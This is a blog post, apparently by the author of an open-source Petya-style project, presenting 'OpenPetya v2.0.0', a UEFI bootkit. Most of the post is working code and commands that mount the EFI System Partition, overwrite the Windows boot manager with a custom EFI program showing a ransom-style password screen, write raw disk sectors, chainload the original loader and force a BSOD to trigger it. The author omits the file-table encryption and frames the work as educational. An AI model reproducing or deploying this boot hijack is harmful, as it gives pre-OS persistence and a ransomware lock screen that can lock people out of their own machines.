[Learning] OpenPetya v2.0.0: An UEFI Bootkit

First Post:

Last Update:

Word Count:
2.4k

Read Time:
14 min

Introduction

This article introduces OpenPetya v2.0.0 and the basic concepts of UEFI programming.

Murmur: In the past few days, I have been working on Alien. Several days before publishing the latest version of OpenPetya, I had a terrible dream, OpenPetya’s star count dropped to around 100 or something. Therefore, I decided to learn UEFI programming and eventually published OpenPetya. This story sounds ridiculous, but this is the truth! It was actually one of the reasons I decided to publish OpenPetya v2.0.0. Another reason was that I was influenced by the frequent LPE releases from MSNightmare (Nightmare Eclipse), which also motivated me.

If you are not familiar with OpenPetya, you might want to read my article about OpenPetya v1.0.0.

Disclaimer

This project was developed purely for educational and research purposes.

The goal of OpenPetya is to study:

  • bootkits
  • operating system internals
  • low-level malware techniques
  • bootloader architecture
  • learning how to write an EFI application to perform chainloading

Do NOT use this project for illegal activities or against systems you do not own or explicitly have permission to test.

The author is NOT responsible for any misuse of this software.

From Legacy BIOS to UEFI

For decades, the legacy BIOS dictated how personal computers (PCs) booted up, relying on 16-bit real-mode execution and the Master Boot Record (MBR).

Petya, NotPetya, and OpenPetya use MBR to execute their custom bootloaders, display a fake CHKDSK process, and encrypt the Master File Table (MFT).

However, modern hardware and security requirements rendered BIOS obsolete, paving the way for the Unified Extensible Firmware Interface (UEFI). Unlike its predecessor, UEFI operates in 32-bit or 64-bit mode and initializes hardware dynamically. Most importantly, modern Windows systems commonly use the GUID Partition Table (GPT, not GhatGPT!) and an EFI System Partition (ESP) as part of the UEFI boot architecture, rather than relying on the legacy MBR-based boot process.

Windows EFI Boot

When a modern Windows system powers on, the boot process follows a strict sequence involving multiple stages of firmware and software handoff:

  1. Firmware Phase: The UEFI firmware initializes the hardware and reads boot entries stored in the motherboard’s NVRAM, such as BootOrder.
  2. The EFI System Partition (ESP): This is a dedicated FAT32-formatted partition containing platform-independent and OS-specific executable binaries (.efi files).
  3. Windows Boot Manager (bootmgfw.efi): The firmware loads the primary Windows boot manager located at \EFI\Microsoft\Boot\bootmgfw.efi.
  4. Boot Configuration Data (BCD) & OS Loader (winload.efi): bootmgfw.efi parses the BCD store to locate and execute winload.efi, which subsequently loads the Windows kernel (ntoskrnl.exe) and critical boot-start drivers.

Note: NVRAM stands for Non-Volatile Random Access Memory.

Principle of OpenPetya v2.0.0

OpenPetya v2.0.0 replaces bootmgfw.efi with its custom EFI program. This approach allows us to execute code before Windows is loaded through winload.efi.

In this version, I chose not to implement the MFT encryption feature because it could be abused by threat actors to damage modern Windows systems. I did implement it in version 1.0.0 because this technique has been used by Petya since 2016.

Mount

Before getting into UEFI programming, we first need to understand the concept of mounting.

In operating systems like Windows and Linux, mounting is the process of making a storage device (such as a hard drive, USB flash drive, CD/DVD, network share, or virtual disk) accessible to the operating system and its users through the filesystem directory structure.

When Windows is running normally, the EFI System Partition (ESP) is not normally exposed through a drive letter. Unlike typical NTFS data partitions (like C: or D:), Windows intentionally does not assign a drive letter to the ESP. This design protects critical boot files, such as the Windows Boot Manager (bootmgfw.efi), from accidental modification or deletion by standard applications and users.

However, for systems engineers, backup software, and bootkit developers, gaining read/write access to the ESP is necessary (just like modifying \\.\PhysicalDrive0). Therefore, the partition must first be assigned a temporary drive letter before it can be accessed through standard Win32 file APIs, such as CreateFileW or CopyFileW.

In other words, mounting the ESP is the first step in installing our custom EFI program.

UEFI Programming

As I mentioned before, we need to replace bootmgfw.efi with our custom EFI program.

Before mounting, our program needs to find a safe, unoccupied drive letter to avoid collisions with existing volumes:

1
2
3
4
5
6
7
8
9
10
for (wchar_t c = L'Z'; c >= L'D'; c--)
{
std::wstring szLetter = std::wstring(1, c) + L":";
UINT type = GetDriveTypeW((szLetter + L"\\").c_str());

if (type != DRIVE_NO_ROOT_DIR)
continue;

// ...
}

By querying GetDriveTypeW, the program checks whether a root directory already exists. If it returns DRIVE_NO_ROOT_DIR, it means the drive letter is currently free and safe to use.

Once an available letter (e.g., Z:) is secured, how do we “tell” Windows to map the hidden ESP to it?

Windows provides sophisticated Volume Management APIs (such as FindFirstVolumeW and GetVolumePathNamesForVolumeNameW), but interacting with them requires dealing with GUID-based volume paths, which can be verbose and error-prone.

Murmur: Well… you know, some Win32 APIs are quite sophisticated to use…

Therefore, we can use a simpler approach: mountvol.exe. It is a built-in command-line utility in Windows.

1
std::wstring szCmd = L"cmd.exe /c mountvol " + szLetter + L" /S";
  • The /S switch is a special option provided by mountvol.
  • It instructs Windows to mount the EFI System Partition of the primary boot disk to the specified drive letter (e.g., Z:\).

Once the ESP is mounted, we can access and replace the original bootmgfw.efi directly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
szESP = fnMountESP(); // e.g., Z:

std::wstring szBootDir = szESP + L"\\EFI\\Microsoft\\Boot\\";
std::wstring szOriginalEFI = szBootDir + L"bootmgfw.efi";
std::wstring szBackupEFI = szBootDir + L"bootmgfw_original.efi";
std::wstring szTarget = szBootDir + L"bootmgfw.efi";

if (!fnbFileExists(szBackupEFI))
{
if (!fnbCopyFile(szOriginalEFI, szBackupEFI))
{
fnPrintLog(LEVEL_ERROR, "ERROR: Backup failed!\n");
if (bMount)
fnUnmountESP(szESP);

return false;
}

fnPrintLog(LEVEL_GOOD, "Back up to %ls\n", szBackupEFI.c_str());
}
else
{
fnPrintLog(LEVEL_WARN, "Backup already exists, skipping.\n");
}

if (!CopyFileW(szSrcEfiPath.c_str(), szTarget.c_str(), FALSE))
{
fnPrintLog(LEVEL_ERROR, "ERROR: Install failed (error %lu)\n", GetLastError());

// try with explicit overwrite flag
SetFileAttributesW(szTarget.c_str(), FILE_ATTRIBUTE_NORMAL);
if (!CopyFileW(szSrcEfiPath.c_str(), szTarget.c_str(), FALSE))
{
fnPrintLog(LEVEL_ERROR, "Still failed with explicit overwrite flag :(\n");

if (bMount)
fnUnmountESP(szESP);

return false;
}
}

This is how we mount ESP and replace the original bootmgfw.efi with our custom EFI program.

Next, I will introduce how to develop our custom EFI program.

The development process was much more difficult than I expected, debugging-wise. Somehow, it kept throwing errors in my virtual machine during development.

Note: During development, my QEMU kept raising errors. Even after reinstalling it and successfully passing the debug tests, it continued to throw errors and crash the system without producing any output logs in the virtual machine.

The code below demonstrates how to write a simple “Hello World” program in EFI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <efi.h>
#include <efilib.h>

static EFI_SYSTEM_TABLE *g_st = NULL;
static EFI_BOOT_SERVICES *g_bs = NULL;
static EFI_RUNTIME_SERVICES *g_rs = NULL;

EFI_STATUS EFIAPI efi_main(EFI_HANDLE image, EFI_SYSTEM_TABLE *systab)
{
InitializeLib(image, systab);

g_st = systab;
g_bs = systab->BootServices;
g_rs = systab->RuntimeServices;

Print(L"Hello World\r\n");

while (1)
g_bs->Stall(1000000);

return EFI_SUCCESS;
}

In UEFI, we can read from and write to disks just as we did in OpenPetya v1.0.0, but we need to use the Block I/O interface. UEFI Block I/O is a synchronous (blocking) interface provided by the UEFI Boot Services (systab->BootServices) for reading and writing data blocks on storage devices.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
static UINT32 g_media_id = 0;

static EFI_STATUS find_block_io(EFI_HANDLE image)
{
EFI_STATUS status;
EFI_LOADED_IMAGE *loaded_image = NULL;

status = uefi_call_wrapper(
g_bs->HandleProtocol,
3,
image,
&LoadedImageProtocol,
(void **)&loaded_image
);

if (EFI_ERROR(status))
return status;

status = uefi_call_wrapper(
g_bs->HandleProtocol,
3,
loaded_image->DeviceHandle,
&BlockIoProtocol,
(void **)&g_bio
);

if (EFI_ERROR(status))
{
g_bio = NULL;
return status;
}

if (g_bio == NULL || g_bio->Media == NULL)
{
g_bio = NULL;
return EFI_NOT_FOUND;
}

g_media_id = g_bio->Media->MediaId;

return EFI_SUCCESS;
}

static int uefi_read_sector(UINT32 lba, void *buffer)
{
if (g_bio == NULL || buffer == NULL)
return -1;

EFI_STATUS status = uefi_call_wrapper(
g_bio->ReadBlocks,
5,
g_bio,
g_media_id,
(EFI_LBA)lba,
512,
buffer
);

return EFI_ERROR(status) ? -1 : 0;
}

static int uefi_write_sector(UINT32 lba, const void *buffer)
{
if (g_bio == NULL || buffer == NULL)
return -1;

EFI_STATUS status = uefi_call_wrapper(
g_bio->WriteBlocks,
5,
g_bio,
g_media_id,
(EFI_LBA)lba,
512,
(void *)buffer
);

return EFI_ERROR(status) ? -1 : 0;
}

EFI_STATUS status = find_block_io(image);
if (EFI_ERROR(status))
{
Print(L"Block I/O FAILED\r\n");
uefi_print_hex((UINT32)status);
Print(L"\r\n");

while (1)
g_bs->Stall(1000000);
}

Print(L"Block I/O OK\r\n");

Print(L"Media ID = ");
uefi_print_dec(g_media_id);
Print(L"\r\n");

UINT8 sector[512];
Print(L"Before ReadBlocks\r\n");

int read_result = uefi_read_sector(0, sector);
if (read_result != 0)
{
Print(L"ReadBlocks FAILED\r\n");
uefi_halt();
}

Print(L"ReadBlocks OK\r\n");

UINT8 test_sector[512];

for (int i = 0; i < 512; i++)
test_sector[i] = (UINT8)(i & 0xFF);

Print(L"Before WriteBlocks\r\n");

int write_result = uefi_write_sector(10, test_sector);

if (write_result != 0)
{
Print(L"WriteBlocks FAILED\r\n");
uefi_halt();
}

Print(L"WriteBlocks OK\r\n");

UINT8 verify_sector[512];

Print(L"Before ReadBack\r\n");

if (uefi_read_sector(10, verify_sector) != 0)
{
Print(L"ReadBack FAILED\r\n");
uefi_halt();
}

Print(L"ReadBack OK\r\n");

The above code demonstrates the basic process of obtaining the Block I/O interface, reading a sector, writing test data, and reading it back for verification.

OpenPetya v2.0.0

As I mentioned before, I chose not to implement the MFT encryption feature in the custom EFI of OpenPetya v2.0.0 since it could be abused. Therefore, OpenPetya v2.0.0 only provides a login panel and performs chain loading once the correct password is entered. The aforementioned APIs simply demonstrate how to read from and write to the disk in EFI.

The login panel can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
static void do_login(void)
{
char input[65];
int attempts = 0;

uefi_clear();
uefi_set_color(EFI_WHITE, EFI_RED);

uefi_print(RANSOM_MSG);

while (attempts < 3)
{
uefi_print("Password: ");

uefi_read_password(input, sizeof(input));

if (check_password(input))
{
uefi_set_color(EFI_LIGHTGREEN, EFI_BLACK);
uefi_clear();

uefi_print("\r\nAccess granted!\r\n");
uefi_set_color(EFI_WHITE, EFI_BLACK);

return;
}

attempts++;

uefi_print("\r\nWrong password.\r\n\r\n");
}

uefi_print("Too many attempts. Halting.\r\n");

uefi_halt();
}

The chain loading mechanism can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
static EFI_STATUS chainload_original_efi(EFI_HANDLE image)
{
EFI_STATUS status;

EFI_LOADED_IMAGE *loaded = NULL;
EFI_GUID lip_guid = EFI_LOADED_IMAGE_PROTOCOL_GUID;

status = uefi_call_wrapper(
g_st->BootServices->HandleProtocol,
3,
image,
&lip_guid,
(void **)&loaded
);

if (EFI_ERROR(status))
{
uefi_print("ERROR: HandleProtocol(LoadedImage) failed!\r\n");
return status;
}

if (loaded == NULL || loaded->DeviceHandle == NULL)
{
uefi_print("ERROR: Invalid loaded image!\r\n");
return EFI_NOT_FOUND;
}

CHAR16 *path = L"\\EFI\\Microsoft\\Boot\\bootmgfw_original.efi";

EFI_DEVICE_PATH *device_path =
FileDevicePath(
loaded->DeviceHandle,
path
);

if (device_path == NULL)
{
uefi_print("ERROR: FileDevicePath failed!\r\n");
return EFI_OUT_OF_RESOURCES;
}

EFI_HANDLE new_image = NULL;

status = uefi_call_wrapper(
g_st->BootServices->LoadImage,
6,
FALSE,
image,
device_path,
NULL,
0,
&new_image
);

FreePool(device_path);

if (EFI_ERROR(status))
{
uefi_print("ERROR: Cannot load bootmgfw_original.efi!\r\n");
return status;
}

uefi_print("Original EFI loaded.\r\n");
uefi_print("Chainloading...\r\n");

status = uefi_call_wrapper(
g_st->BootServices->StartImage,
3,
new_image,
NULL,
NULL
);

if (EFI_ERROR(status))
{
uefi_print("ERROR: StartImage failed!\r\n");
return status;
}

return EFI_SUCCESS;
}

Implementing chain loading in EFI is simpler than implementing it in NASM for Legacy BIOS. In the custom MBR and stage 2 loader of OpenPetya v1.0.0, I kept encountering errors while implementing chain loading. The solution in OpenPetya v1.0.0 was to reboot the system, whereas with EFI, the operating system can be loaded directly.

Demonstration

In this section, I am going to demonstrate how to use OpenPetya v2.0.0 on Windows 10.

Note: You can still run OpenPetya v2.0.0 on a Windows operating system using Legacy BIOS (such as Windows 7).

First, download OpenPetya from my GitHub, and then unzip it.

Run a new cmd.exe with administrator privileges and enter the directory OpenPetya.

Check current privilege:

1
OpenPetya.exe --is-admin

Next, Install the custom EFI. The installer will ask you to enter your password:

1
OpenPetya.exe --drive 0 --uefi-install petya.efi

Note: The --drive argument is actually useless here. However, I decided to keep it for future plans and experimental purposes.

After installation, trigger a BSOD using the --bsod switch (or restart your virtual machine normally):

1
OpenPetya.exe --bsod

After restarting the machine, you can see the login panel:

After entering the correct password, OpenPetya will chain-load the original Windows boot process, and Windows will start normally!

Lastly, restore the original bootmgfw.efi. Otherwise, you will still need to enter your password on the next reboot:

1
OpenPetya --drive 0 --uefi-restore

Conclusion

In this article, I introduced OpenPetya v2.0.0 and the basic concepts of UEFI.

Modern bootkits can leverage UEFI to maintain persistence. Understanding UEFI programming can help us learn how modern bootkits function.

UEFI is not the only technique used by modern bootkits, but it is certainly a good starting point for learning about modern bootkits. Advanced techniques such as NVRAM variable manipulation and persistence, DXE driver injection and memory hooking, and System Management Mode (SMM) hijacking require an understanding of UEFI. Studying these techniques not only helps us understand UEFI, but also introduces us to advanced techniques beyond UEFI that are related to hardware and can be adopted by bootkits, such as DMA attacks.

This is the end of this article. If you have any comments or suggestions, please feel free to leave them below!

THANKS FOR READING